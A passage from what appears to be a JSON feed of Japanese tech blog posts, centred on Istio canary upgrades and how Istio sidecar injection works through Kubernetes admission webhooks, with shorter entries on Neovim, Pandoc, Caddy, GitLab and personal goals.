-n foo$ kubectl rollout restart deployment baz -n baz...最終的に、全てのNamespacemのistio-proxyコンテナが新しくなります。今の状況は以下の通りです\uD83D\uDC47(8) 旧Istiodのアンインストールここで実施すること最後に、旧Istiodのアンインストールします。Uninstall old control planeistioctl uninstallコマンドistioctl uninstallコマンドを実行し、旧Istiodをアンインストールします。$ istioctl uninstall --revision 1-14-6✅ Uninstall complete今の状況は以下の通りです\uD83D\uDC47kubectl getコマンド▼ IstiodのDeploymentkubectl getコマンドを実行し、istioctl uninstallコマンドで何をアンインストールしたのかを確認します\uD83D\uDC40まずはIstiodのDeploymentを確認すると、1-14-6というDeploymentが無くなっています。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-15-4 1/1 1 1 47s # 1-15-4▼ Webhookの宛先のService次に Webhookの宛先のServiceを確認すると、istiod-1-14-6というServiceが無くなっています。$ kubectl get service -n istio-system -l app=istiodNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEistiod-1-15-4 ClusterIP 10.104.186.250 15010/TCP,15012/TCP,443/TCP,15014/TCP 87s # 1-15-4▼ 宛先のServiceを決めるMutatingWebhookConfiguration最後にMutatingWebhookConfigurationを確認すると、istio-sidecar-injector-1-14-6というMutatingWebhookConfigurationが無くなっています。$ kubectl get mutatingwebhookconfigurationsNAME WEBHOOKS AGEistio-revision-tag-default 2 114s # 次のカナリアアップグレードでも使用するistio-sidecar-injector-1-15-4 2 2m16sこれで、新Istiodに完全に入れ替わったため、アップグレードは完了です。今の状況は以下の通りです\uD83D\uDC47▶︎ アンインストールについて06. おわりにIstioを安全にアップグレードするカナリア方式とその仕組みをもりもり布教しました。Istioへの愛が溢れてしまいました。これからIstioを採用予定の方は、Istioを安全にアップグレードするために十分に準備しておくことをお勧めします\uD83D\uDC4D記事関連のおすすめ書籍Istio in Action (English Edition)作者:Posta, Christian E.,Maloku, RinorManningAmazonIstio: Up and Running: Using a Service Mesh to Connect, Secure, Control, and Observe作者:Calcote, Lee,Butcher, ZackO\'Reilly MediaAmazon","isoDate":"2023-02-26T11:25:48.000Z","dateMiliSeconds":1677410748000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"LINE に送ったメッセージを Google Home に読み上げさせる","link":"https://blog.1q77.com/2023/02/line-bot-tts/","contentSnippet":"令和の時代、家に固定電話はなく、外出先から家族に直ぐに答えて欲しいことがあってもスマホはマナーモードで手元に置いてなければ気づくことができま","isoDate":"2023-02-25T12:51:58.000Z","dateMiliSeconds":1677329518000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"自由研究には向かないウェブオペレーション\xa0","link":"https://speakerdeck.com/nwiizo/zi-you-yan-jiu-nihaxiang-kanaiuebuoperesiyon","contentSnippet":"自由研究には向かないウェブオペレーション\xa0サイト運用管理を取り巻く環境の変化 Cloud Native時代に考えるLinux オペレーション というタイトルで登壇してきました。\\r\\r2023年2月18日\\r【今更聞けない】Linuxのしくみ - Forkwell Library #16\\rhttps://forkwell.connpass.com/event/273179/\\r\\rあとがき\\r『自由研究には向かないウェブオペレーション』というタイトルで登壇しました。\\rhttps://syu-m-5151.hatenablog.com/entry/2023/02/18/201252","isoDate":"2023-02-18T05:00:00.000Z","dateMiliSeconds":1676696400000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Caddy の Internal TLS 証明書の有効期間を指定する","link":"https://blog.1q77.com/2023/02/caddy-internal-tls-cert-lifetime/","contentSnippet":"以前 ワンライナーで https の Reverse Proxy を実行する という記事で Caddy を使うと local での開発用に任意のドメインの証明書を簡単に発行できるし CA の証明書も OS の証明書スト","isoDate":"2023-02-09T14:29:32.000Z","dateMiliSeconds":1675952972000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":" ポストモーテムはじめました","link":"https://speakerdeck.com/nwiizo/posutomotemuhazimemasita","contentSnippet":"ポストモーテムはじめました - 良いポストモーテムを執筆するために必要な5つのポイント というタイトルで登壇してきました。\\r\\r2023年02月09日\\rインシデントにどう対応してきたか?みんなで学ぶポストモーテム Lunch LT\\rhttps://findy.connpass.com/event/273197/\\r\\r『ポストモーテムはじめました』というタイトルで登壇しました。 - じゃあ、おうちで学べる \\rhttps://syu-m-5151.hatenablog.com/entry/2023/02/09/113316","isoDate":"2023-02-09T05:00:00.000Z","dateMiliSeconds":1675918800000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"NeovimのターミナルをExコマンド実行環境化する","link":"https://blog.atusy.net/2023/02/02/zsh-as-nvim-cmdline/","contentSnippet":"Neovim内に開いたTerminalで:から始まる文字列を入力すると、Neovimで実行した結果を表示する仕組みを作ってみました。","isoDate":"2023-02-02T00:00:00.000Z","dateMiliSeconds":1675296000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"2023年の目標","link":"https://moz-security.hatenablog.com/entry/2023/02/01/112627","contentSnippet":"前回のブログで「近々、新年の抱負として、今年やりたいことを書きたいと思っています。」と書いておきながら、もう少しで1ヶ月が経ってしまいます。(近々とは?って感じですけど 笑)1月は、大学のテストと溜まりに溜まった課題で手一杯でしたが、1月31日でそれも終わり、ひと段落したため、今年の目標について書いていこうと思います。目標は大きく4つあります。1つ目は、大学の研究です。これは目標というよりも、頑張ることになってますね。どれだけ独学で勉強しても、趣味でいろいろシステム開発しても、まずは大学を卒業しなければ、学士にはなれないため、これは間違いなく最優先で行わなければいけません。大学の授業としても、あと残っているのが卒業研究だけであるため、今年大学でやること・頑張ることはこれだけかなと思います。大学に行って、ひたすら研究、研究、研究になる気がします。2つ目は、Hack The BoxでHackerランクになることです。昨年の3月ごろからHack The Boxを始めて、時間があるときに取り組んでいましたが、Starting Pointのいろいろな箇所で詰まったり、そもそも時間を十分に取れなかったりして、あまり攻略できていませんでした。今年は、授業もあまりなく、時間も取れそうなため、本腰を入れて頑張りたいと思います。具体的な数字でいうと、少なくとも毎日1時間、朝8時〜9時までをHack The Boxを攻略する時間に当てようと思っています。理想は、2時間、3時間、時間が取れるならそれよりもという感じなんですけど、日によっては、忙しい日もあるので、そんな日でも取れそうな最低限の1時間にしました。こういうのは1日に頑張りすぎるよりも、継続することが大事だと思うので、毎日コツコツやっていきたいと思います。将来的にはセキュリティ関連の仕事をしたいため、攻撃を通して防御を学び、防御を通して攻撃を学んでいきたいと思います。3つ目は、資格の取得です。今まで、基本情報技術者、応用情報技術者を取ってきたため、今年は、情報処理安全確保支援士に挑戦したいと思っています。資格は、知識問題でしかないから、社会では使えないという意見もあり、自分でも知識(知っていること) とスキル(できること)は違うと思っているため、半分は同意できるのですが、一方で、資格を取るために勉強するというこの資格を取るまでの過程が大事だとも思っています。また、幅広く体系的な知識を習得できるというのも資格取得のメリットだと思っています。情報処理安全確保支援士取得に向けて、これから頑張りたいと思います。4つ目は、学外のイベントに参加することです。セキュリティキャンプやSecHack365といったセキュリティ関連のイベントに加え、ハッカソンやカンファレンスにも参加していきたいと思っています。前までは、自分のスキルでは学外イベントに参加するのは恥ずかしいと思い、挑戦できていなかったのですが、昨年、ハッカソンやセキュリティ・ミニキャンプに参加することで、参加する人全員がすごい人ではなく、自分と似たような人もいるし、イベントを通して、成長したいという人がたくさんいることも知りました。今年は、昨年に引き続き、より多くのイベントに参加し、成長できる環境に自分から臨んでいきたいと思います。1月も終わり、今年もあと11ヶ月になりましたが、いろいろな経験をして、たくさんの人に出会い、成長できたと言える1年にしていきたいと思います。","isoDate":"2023-02-01T02:26:27.000Z","dateMiliSeconds":1675218387000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"PandocのLuaフィルタ内で引用文献を処理するpandoc.utils.citeprocを試す","link":"https://blog.atusy.net/2023/01/31/pandoc-citeproc-lua/","contentSnippet":"Pandocで引用文献を処理する方法として、--citeproc引数と--lua-filter引数を使う場合を比較。 後者ではpandoc.utils.citeproc関数を利用。 Luaフィルタを使うとASTレベルで引用文献を処理するので、更にフィルタをかけたい場合に便利。 ただし、--citeproc引数と併用すると引用文献のリストを2回繰り返すので排他利用を推奨。","isoDate":"2023-01-31T00:00:00.000Z","dateMiliSeconds":1675123200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GitLabで指定したグループ内の全てのリポジトリを一括でcloneする","link":"https://zenn.dev/tayusa/articles/ae5911391c9440","contentSnippet":"概要1個1個丹精込めて手動でcloneすることに限界を感じたので、一括で自分に関連するリポジトリをcloneする シェルスクリプト.zshrc# リポジトリのディレクトリを作成してからcloneする# 第1引数 URL(https://gitlab.example.com/diaspora/diaspora-client.git)function git_clone_to_path() { [[ -z ${commands[git]} ]] \\\\ && { echo \'git is required\'; return 1; } loca...","isoDate":"2023-01-29T17:07:31.000Z","dateMiliSeconds":1675012051000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Neovimのテキストオブジェクトをカスタムできるmini.aiが便利","link":"https://blog.atusy.net/2023/01/27/mini-ai-nvim/","contentSnippet":"Mini.aiについてテキストオブジェクトを自作するi[で[ foo ]の両端のスペースを含めた範囲を選択するa]で[[ foo ]]のような二重カッコを選択するaj]で「 foo 」のような日本語のカッコを選択するMini.aiについてVimやNeovimのテキストオブジェクト、便利ですよね。","isoDate":"2023-01-27T00:00:00.000Z","dateMiliSeconds":1674777600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ArtifactHUBについてのメモ","link":"https://zenn.dev/bells17/articles/artifacthub-note","contentSnippet":"ArtifactHUB というコンテナイメージHelm Chartなどを登録・検索することのできるツールを試してみたのでメモ。https://artifacthub.io/ ArtifactHUB についてコンテナイメージHelm Chartなどを「リポジトリ」として登録・検索することができるよう。登録できるリポジトリの種類は下記で確認できる。https://artifacthub.io/docs/topics/repositories/アカウント登録方法は現在下記の3つがあるemailgithubgoogle リポジトリの登録リポジトリ登...","isoDate":"2023-01-21T18:21:58.000Z","dateMiliSeconds":1674325318000,"authorName":"bells17","authorId":"bells17"},{"title":"container-structure-testによるコンテナのテスト","link":"https://zenn.dev/bells17/articles/container-structure-test","contentSnippet":"Googleが作成しているcontainer-structure-testというコンテナをテストするツールを試したのでメモ。かなり単純なツールなのでぶっちゃけREADMEに書いてあることを読めばわかるんだけど一応情報をまとめた。https://github.com/GoogleContainerTools/container-structure-testGoogleのブログで紹介されている記事はこちら。https://opensource.googleblog.com/2018/01/container-structure-tests-unit-tests.html cont...","isoDate":"2023-01-21T10:54:17.000Z","dateMiliSeconds":1674298457000,"authorName":"bells17","authorId":"bells17"},{"title":"【Istio⛵️】サービスメッシュの登場経緯とIstioサイドカーインジェクションの仕組み","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/01/14/223815","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️代表的なサービスメッシュの種類についてIstioのサイドカーインジェクションの仕組みについてこの記事から得られる知識01. はじめに02. サービスメッシュが登場した経緯なぜサービスメッシュが登場したのかサービスメッシュのモデルサイドカープロキシメッシュ03. admission-controllersアドオンについてadmission-controllersアドオンとはadmissionプラグインの種類MutatingAdmissionWebhookプラグインMutatingAdmissionWebhookプラグインとはAdmissionReview、AdmissionRequest、AdmissionResponse▼ AdmissionReview▼ AdmissionRequest▼ AdmissionResponse04. サイドカーインジェクションの仕組み全体のフロークライアント ➡︎ kube-apiserverここで説明するフロー箇所(1) Podの作成をリクエストkube-apiserver ➡︎ Serviceここで説明するフロー箇所(2) 認証/認可処理をコール(3) アドオンの処理をコール(4) AdmissionRequestに値を詰める(5) AdmissionReviewを送信Service ➡︎ webhookサーバーここで説明するフロー箇所(6) 15017番ポートにポートフォワーディングkube-apiserver ⬅︎ Service ⬅︎ webhookサーバー (※逆向きの矢印)ここで説明するフロー箇所(7) patch処理を定義(8) AdmissionResponseに値を詰める(9) AdmissionReviewを返信kube-apiserver ➡︎ etcdここで説明するフロー箇所(10) patch処理をコール(11) マニフェストを永続化クライアント ⬅︎ kube-apiserverここで説明するフロー箇所(12) コール完了を返信以降の仕組み05. おわりに記事関連のおすすめ書籍01. はじめに推し (Istio) が尊い\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4Fさて、前回の記事の時と同様に、最近の業務でもオンプレとAWS上のIstio⛵️をひたすら子守りしています。今回は、子守りの前提知識の復習もかねて、サービスメッシュを実装するIstioサイドカーインジェクションを記事で解説しました。解説するのは、執筆時点 (2023/01/14) 時点で最新の 1.14 系のIstioです。執筆時点 (2023/01/14) では、Istioが実装するサービメッシュには、『サイドカープロキシメッシュ』と『アンビエントメッシュ』があります。サイドカープロキシメッシュの仕組みの軸になっているものは、サイドカーコンテナであるistio-proxyコンテナです。Istioは、KubernetesのPodの作成時に、istio-proxyコンテナをPod内に自動的にインジェクション (注入) しますそれでは、もりもり布教していきます\uD83D\uDE1702. サービスメッシュが登場した経緯なぜサービスメッシュが登場したのかそもそも、なぜサービスメッシュが登場したのでしょうか。マイクロサービスアーキテクチャのシステムには、アーキテクチャ固有のインフラ領域の問題 (例:サービスディスカバリーの必要性、マイクロサービス間通信の暗号化、テレメトリー作成など) があります。アプリエンジニアが各マイクロサービス内にインフラ領域の問題に関するロジックを実装すれば、これらの問題の解決できます。しかし、アプリエンジニアはアプリ領域の問題に責務を持ち、インフラ領域の問題はインフラエンジニアで解決するようにした方が、互いに効率的に開発できます。そこで、インフラ領域の問題を解決するロジックをサイドカーとして切り分けます。これにより、アプリエンジニアとインフラエンジニアの責務を分離可能になり、凝集度が高くなります。また、インフラ領域の共通ロジックをサイドカーとして各マイクロサービスに提供できるため、単純性が高まります。こういった流れの中で、サービスメッシュが登場しました。servicemesh.es | Service Mesh ComparisonWhat is Service Mesh and why is it needed in Kubernetes?サービスメッシュのモデル前述の通り、サービスメッシュの登場前は、アプリエンジニアが各マイクロサービス内にインフラ領域の問題に関するロジックを実装していました。これを、『共有ライブラリモデル』と呼びます。その後、『サイドカーモデル』とも呼ばれるサイドカープロキシメッシュが登場しました。執筆時点 (2023/01/14) では、『カーネルモデル』とも呼ばれるサイドカーフリーメッシュが登場しています。サイドカープロキシメッシュIstioのサイドカーによるサービスメッシュ (サイドカープロキシメッシュ) は、サイドカーコンテナ (istio-proxyコンテナ) が稼働するデータプレーンサイドカーを中央集権的に管理するIstiod (discoveryコンテナ) が稼働するコントロールプレーンからなります。Istio / Architecture03. admission-controllersアドオンについてadmission-controllersアドオンとはIstioのPod内へのサイドカーインジェクションの前提知識として、admission-controllersアドオンを理解する必要があります。もし、admission-controllersアドオンをご存知の方は、 04. サイドカーインジェクションの仕組み まで飛ばしてください\uD83D\uDE47\uD83C\uDFFB‍kube-apiserverでは、admission-controllersアドオンを有効化できます。有効化すると、認証ステップと認可ステップの後にmutating-admissionステップとvalidating-admissionステップを実行でき、admissionプラグインの種類に応じた処理を挿入できます。クライアント (kubectlクライアント、Kubernetesリソース) からのリクエスト (例:Kubernetesリソースに対する作成/更新/削除、kube-apiserverからのプロキシへの転送) 時に、各ステップでadmissionプラグインによる処理 (例:アドオンビルトイン処理、独自処理) を発火させられます。Admission Controllers Reference | KubernetesKubernetes Best Practices: Blueprints for Building Successful Applications on Kubernetesadmissionプラグインの種類admission-controllersアドオンのadmissionプラグインには、たくさんの種類があります。IstioがPod内にサイドカーをインジェクションする時に使用しているアドオンは、『MutatingAdmissionWebhook』です。CertificateApprovalCertificateSigningCertificateSubjectRestrictionDefaultIngressClassDefaultStorageClassDefaultTolerationSecondsLimitRanger\\"MutatingAdmissionWebhook\\" \uD83D\uDC48 これNamespaceLifecyclePersistentVolumeClaimResizePodSecurityPriorityResourceQuotaRuntimeClassServiceAccountStorageObjectInUseProtectionTaintNodesByConditionValidatingAdmissionWebhookAdmission Controllers Reference | KubernetesMutatingAdmissionWebhookプラグインMutatingAdmissionWebhookプラグインとはMutatingAdmissionWebhookプラグインを使用すると、mutating-admissionステップ時に、リクエスト内容を変更する処理をフックできます。フックする具体的な処理として、webhookサーバーにAdmissionRequestリクエストとして送信することにより、レスポンスのAdmissionResponseに応じてリクエスト内容を動的に変更します。MutatingWebhookConfigurationで、MutatingAdmissionWebhookプラグインの発火条件やwebhookサーバーの宛先情報を設定します。MutatingWebhookConfigurationの具体的な実装については、サイドカーインジェクションの仕組みの中で説明していきます。Diving into Kubernetes MutatingAdmissionWebhook | by Morven Cao | IBM Cloud | MediumKubernetes Admission Webhook覚書き - gashirar\'s blogAdmission Webhookを作って遊んで、その仕組みを理解しよう(説明編)AdmissionReview、AdmissionRequest、AdmissionResponse▼ AdmissionReviewAdmissionReviewは以下のようなJSONであり、kube-apiserverとwebhookサーバーの間でAdmissionRequestとAdmissionResponseを運びます。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionRequest \\"request\\": {}, # AdmissionResponse \\"response\\": {},}v1 package - k8s.io/api/admission/v1 - Go Packages▼ AdmissionRequestAdmissionRequestは以下のようなJSONです。kube-apiserverがクライアントから受信した操作内容が持つことがわかります。例で挙げたAdmissionRequestでは、クライアントがDeploymentをCREATE操作するリクエストをkube-apiserverに送信したことがわかります。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionRequest \\"request\\": { ... # 変更されるKubernetesリソースの種類を表す。 \\"resource\\": { \\"group\\": \\"apps\\", \\"version\\": \\"v1\\", \\"resource\\": \\"deployments\\" }, # kube-apiserverの操作の種類を表す。 \\"operation\\": \\"CREATE\\", ... }}Dynamic Admission Control | Kubernetes▼ AdmissionResponse一方でAdmissionResponseは、例えば以下のようなJSONです。AdmissionResponseは、マニフェスト変更処理をpatchキーの値に持ち、これはbase64方式でエンコードされています。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionResponse \\"response\\": { \\"uid\\": \\"\\", # 宛先のwebhookサーバーが受信したか否かを表す。 \\"allowed\\": true, # PathによるPatch処理を行う。 \\"patchType\\": \\"JSONPatch\\", # Patch処理の対象となるKubernetesリソースと処理内容を表す。base64方式でエンコードされている。 \\"patch\\": \\"W3sib3AiOiAiYWRkIiwgInBhdGgiOiAiL3NwZWMvcmVwbGljYXMiLCAidmFsdWUiOiAzfV0=\\", },}エンコード値をデコードしてみると、例えば以下のようなpatch処理が定義されています。# patchキーをbase64方式でデコードした場合[{\\"op\\": \\"add\\", \\"path\\": \\"/spec/replicas\\", \\"value\\": 3}]マニフェストに対する操作 (op) 、キー (path) 、値 (value) が設定されています。kube-apiserverがこれを受信すると、指定されたキー (.spec.replicas) に値 (3) に追加します。Dynamic Admission Control | Kubernetes04. サイドカーインジェクションの仕組み全体のフロー前提知識を踏まえた上で、admission-controllersアドオンの仕組みの中で、サイドカーのistio-proxyコンテナがどのようにPodにインジェクションされるのかを見ていきましょう。最初に、サイドカーインジェクションのフローは以下の通りになっています。(画像はタブ開き閲覧を推奨)Istio in Action (English Edition)クライアント ➡︎ kube-apiserverここで説明するフロー箇所『クライアント ➡︎ kube-apiserver』の箇所を説明します。(画像はタブ開き閲覧を推奨)(1) Podの作成をリクエストまずは、クライアントがkube-apiserverにリクエストを送信するところです。クライアント (Deployment、DaemonSet、StatefulSet、を含む) は、Podの作成リクエストをkube-apiserverに送信します。この時のリクエスト内容は、以下の通りとします。# Podを作成する。$ kubectl apply -f foo-pod.yaml# foo-pod.yamlファイルapiVersion: v1kind: Podmetadata: name: foo-pod namespace: foo-namespacespec: containers: - name: foo image: foo:1.0.0 ports: - containerPort: 80またNamespaceでは、あらかじめistio-proxyコンテナのインジェクションが有効化されているとします。Istioではv1.10以降、リビジョンの番号のエイリアスを使用して、istio-proxyコンテナのインジェクションを有効化するようになりました。apiVersion: v1kind: Namespacemetadata: name: foo-namespace labels: # istio-proxyコンテナのインジェクションを有効化する。 # エイリアスは自由 istio.io/rev: <エイリアス>Istio / Announcing Support for 1.8 to 1.10 Direct Upgrades▶ istio.io/revラベル値のエイリアスについてistio.io/revラベル値は、どんなエイリアスでもよいです。よくあるエイリアスとしてdefaultやstableを使用します\uD83D\uDC4Dkube-apiserver ➡︎ Serviceここで説明するフロー箇所『kube-apiserver ➡︎ Service』の箇所を説明します。(画像はタブ開き閲覧を推奨)(2) 認証/認可処理をコールkube-apiserverは、認証ステップと認可ステップにて、クライアントからのリクエストを許可します。(3) アドオンの処理をコールkube-apiserverは、mutating-admissionステップにて、MutatingAdmissionWebhookプラグインの処理をコールします。前提知識の部分で具体的な実装を省略しましたが、Istioのバージョン1.14.3時点で、MutatingWebhookConfigurationは以下のようになっています。Namespaceでサイドカーインジェクションを有効化する時に使用したエイリアスは、このMutatingWebhookConfigurationで実体のリビジョン番号と紐づいています。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yamlapiVersion: admissionregistration.k8s.io/v1beta1kind: MutatingWebhookConfigurationmetadata: name: istio-revision-tag-default labels: app: sidecar-injector # エイリアスの実体 istio.io/rev: <リビジョン番号> # リビジョン番号のエイリアス istio.io/tag: <エイリアス>webhooks: - name: rev.namespace.sidecar-injector.istio.io # MutatingAdmissionWebhookプラグインの処理の発火条件を登録する。 rules: - apiGroups: [\\"\\"] apiVersions: [\\"v1\\"] operations: [\\"CREATE\\"] resources: [\\"pods\\"] scope: \\"*\\" # Webhookの前段にあるServiceの情報を登録する。 clientConfig: service: name: istiod-<リビジョン番号> namespace: istio-system path: \\"/inject\\" # エンドポイント port: 443 caBundle: Ci0tLS0tQk ... # Namespace単位のサイドカーインジェクション # 特定のNamespaceでMutatingAdmissionWebhookプラグインの処理を発火させる。 namespaceSelector: matchExpressions: - key: istio.io/rev operator: DoesNotExist - key: istio-injection operator: DoesNotExist # Pod単位のサイドカーインジェクション # 特定のオブジェクトでMutatingAdmissionWebhookプラグインの処理を発火させる。 objectSelector: matchExpressions: - key: sidecar.istio.io/inject operator: NotIn values: - \\"false\\" - key: istio.io/rev operator: In values: - <エイリアス> ...MutatingWebhookConfigurationには、MutatingAdmissionWebhookプラグインの発火条件やwebhookサーバーの宛先情報を定義します。MutatingAdmissionWebhookプラグインの発火条件に関して、例えばIstioでは、 NamespaceやPod.metadata.labelsキーに応じてサイドカーインジェクションの有効化/無効化を切り替えることができ、これをMutatingAdmissionWebhookプラグインで制御しています。webhookサーバーの宛先情報に関して、Istioではwebhookサーバーの前段にServiceを配置しています。MutatingAdmissionWebhookプラグインが発火した場合、Serviceの/inject:443にHTTPSプロトコルのリクエストを送信するようになっています。また、宛先のServiceの名前がistiod-<リビジョン番号>となっていることからもわかるように、Serviceは特定のバージョンのIstiodコントロールプレーンに対応しており、想定外のバージョンのIstiodコントロールプレーンを指定しないように制御しています。一方で発火しなかった場合には、以降のAdmissionReviewの処理には進みません。(4) AdmissionRequestに値を詰めるkube-apiserverは、mutating-admissionステップにて、クライアントからのリクエスト内容 (Podの作成リクエスト) をAdmissionReveiew構造体のAdmissionRequestに詰めます。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionRequest \\"request\\": { ... # 変更されるKubernetesリソースの種類を表す。 \\"resource\\": { \\"group\\": \\"core\\", \\"version\\": \\"v1\\", \\"resource\\": \\"pods\\" }, # kube-apiserverの操作の種類を表す。 \\"operation\\": \\"CREATE\\", ... }}(5) AdmissionReviewを送信kube-apiserverは、mutating-admissionステップにて、Serviceの/inject:443にAdmissionReview構造体を送信します。Service ➡︎ webhookサーバーここで説明するフロー箇所『Service ➡︎ webhookサーバー』の箇所を説明します。(画像はタブ開き閲覧を推奨)(6) 15017番ポートにポートフォワーディングServiceは、/inject:443でリクエストを受信し、discoveryコンテナの15017番ポートにポートフォワーディングします。Istioのバージョン1.14.3時点で、Serviceは以下のようになっています。$ kubectl get svc istiod-service -n istio-system -o yamlapiVersion: v1kind: Servicemetadata: labels: app: istiod name: istiod-<リビジョン番号> namespace: istio-systemspec: type: ClusterIP selector: app: istiod istio.io/rev: <リビジョン番号> ports: - name: grpc-xds port: 15010 protocol: TCP targetPort: 15010 - name: https-dns port: 15012 protocol: TCP targetPort: 15012 # webhookサーバーにポートフォワーディングする。 - name: https-webhook port: 443 protocol: TCP targetPort: 15017 - name: http-monitoring port: 15014 protocol: TCP targetPort: 15014.spec.selector.istio.io/revキーに、ポートフォワーディング先のPodを指定するためのリビジョン番号が設定されており、このPodはdiscoveryコンテナを持ちます。Istioは、discoveryコンテナ内でwebhookサーバーを実行し、15017番ポートでリクエストを待ち受けます。▶ istio.io/rev`discovery`コンテナの待ち受けポートについてdiscoveryコンテナがリクエストを待ち受けているポート番号を見てみると、15017番ポートでリッスンしていることを確認できます\uD83D\uDC4D$ kubectl exec foo-istiod -n istio-system -- netstat -tulpnActive Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program nametcp 0 0 127.0.0.1:9876 0.0.0.0:* LISTEN 1/pilot-discoverytcp6 0 0 :::15017 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::8080 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::15010 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::15012 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::15014 :::* LISTEN 1/pilot-discovery> - istio/pkg/kube/inject/webhook.go at 1.14.3 \xb7 istio/istio \xb7 GitHub> - https://istio.io/latest/docs/ops/deployment/requirements/#ports-used-by-istiokube-apiserver ⬅︎ Service ⬅︎ webhookサーバー (※逆向きの矢印)ここで説明するフロー箇所『kube-apiserver ⬅︎ Service ⬅︎ webhookサーバー』の箇所を説明します。矢印が逆向きなことに注意してください。(画像はタブ開き閲覧を推奨)(7) patch処理を定義仕組みの中でも、ここは重要な部分です。discoveryコンテナ内のwebhookサーバーは、リクエスト内容を書き換えるためのpatch処理を定義します。webhookサーバーは、マニフェストの.spec.containers[1]パスにistio-proxyキーを追加させるようなpatch処理を定義します。この定義によって、結果的にサイドカーのインジェクションが起こるということになります。[ ... { \\"op\\": \\"add\\", # .spec.initContainers[1] を指定する。 \\"path\\": \\"/spec/initContainers/1\\", # マニフェストに追加される構造を表す。 \\"value\\": { \\"name\\": \\"istio-init\\", \\"resources\\": { ... } } }, { \\"op\\": \\"add\\", # .spec.containers[1] を指定する。 \\"path\\": \\"/spec/containers/1\\", # マニフェストに追加される構造を表す。 \\"value\\": { \\"name\\": \\"istio-proxy\\", \\"resources\\": { ... } } } ...]istio/pkg/kube/inject/webhook.go at 1.14.3 \xb7 istio/istio \xb7 GitHubistio/pkg/kube/inject/webhook_test.go at 1.14.3 \xb7 istio/istio \xb7 GitHubこの時、サイドカーのテンプレートに割り当てられた値が、patch処理を内容を決めます。type SidecarTemplateData struct { TypeMeta metav1.TypeMeta DeploymentMeta metav1.ObjectMeta ObjectMeta metav1.ObjectMeta Spec corev1.PodSpec ProxyConfig *meshconfig.ProxyConfig MeshConfig *meshconfig.MeshConfig Values map[string]interface{} Revision string EstimatedConcurrency int ProxyImage string}...istio/pkg/kube/inject/inject.go at 1.14.3 \xb7 istio/istio \xb7 GitHub▶ patch処理でインジェクションするコンテナについてistio-proxyコンテナの他に、InitContainerのistio-initコンテナもインジェクション可能にします。このistio-initコンテナは、istio-proxyコンテナを持つPodです。インバウンド/アウトバウンド通信の経路を制御するために、Pod内にiptablesのルールを適用する責務を担っています\uD83D\uDCAA\uD83C\uDFFBIstio Sidecar\'s interception mechanism for traffic - SoByte(8) AdmissionResponseに値を詰めるdiscoveryコンテナ内のwebhookサーバーは、patch処理の定義をAdmissionReveiew構造体のAdmissionResponseに詰めます。patchキーの値に、先ほどのpatch処理の定義をbase64方式でエンコードした文字列が割り当てられています。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionResponse \\"response\\": { \\"uid\\": \\"*****\\", \\"allowed\\": true, \\"patchType\\": \\"JSONPatch\\", # Patch処理の対象となるKubernetesリソースと処理内容を表す。base64方式でエンコードされている。 \\"patch\\": \\"<先ほどのpatch処理の定義をbase64方式でエンコードした文字列>\\", },}istio/pkg/kube/inject/webhook.go at 1.14.3 \xb7 istio/istio \xb7 GitHub(9) AdmissionReviewを返信discoveryコンテナ内のwebhookサーバーは、AdmissionReview構造体をレスポンスとしてkube-apiserverに返信します。kube-apiserver ➡︎ etcdここで説明するフロー箇所『kube-apiserver ➡︎ etcd』の箇所を説明します。(画像はタブ開き閲覧を推奨)(10) patch処理をコールkube-apiserverは、AdmissionReview構造体を受信し、AdmissionResponseに応じてリクエスト内容を書き換えます。patch処理の定義をAdmissionReview構造体から取り出し、クライアントからのリクエスト内容を書き換えます。具体的には、istio-proxyコンテナとistio-initコンテナを作成するために、リクエストしたマニフェストの該当箇所にキーを追加します。apiVersion: v1kind: Podmetadata: name: foo-pod namespace: foo-namespacespec: containers: - name: foo image: foo:1.0.0 ports: - containerPort: 80 # kube-apiserverが追加 - name: istio-proxy ... # kube-apiserverが追加 initContainers: - name: istio-init ...(11) マニフェストを永続化kube-apiserverは、etcdにPodのマニフェストを永続化します。クライアント ⬅︎ kube-apiserverここで説明するフロー箇所『クライアント ⬅︎ kube-apiserver』の箇所を説明します。(画像はタブ開き閲覧を推奨)(12) コール完了を返信kube-apiserverは、クライアントにレスポンスを受信します。$ kubectl apply -f foo-pod.yaml# kube-apiserverからレスポンスが返ってくるpod \\"foo-pod\\" created以降の仕組み(画像はタブ開き閲覧を推奨)kube-apiserverは、他のNodeコンポーネント (kube-controlleretcd、kube-scheduler、kubeletなど) と通信し、Podを作成します。このPodのマニフェストは、アプリコンテナの他に、istio-proxyコンテナとistio-initコンテナを持ちます。結果として、サイドカーコンテナのistio-proxyコンテナをインジェクションしたことになります。▶ kube-apiserverと他コンポーネントの通信についてKubernetes Master Components: Etcd, API Server, Controller Manager, and Scheduler | by Jorge Acetozi | jorgeacetozi | 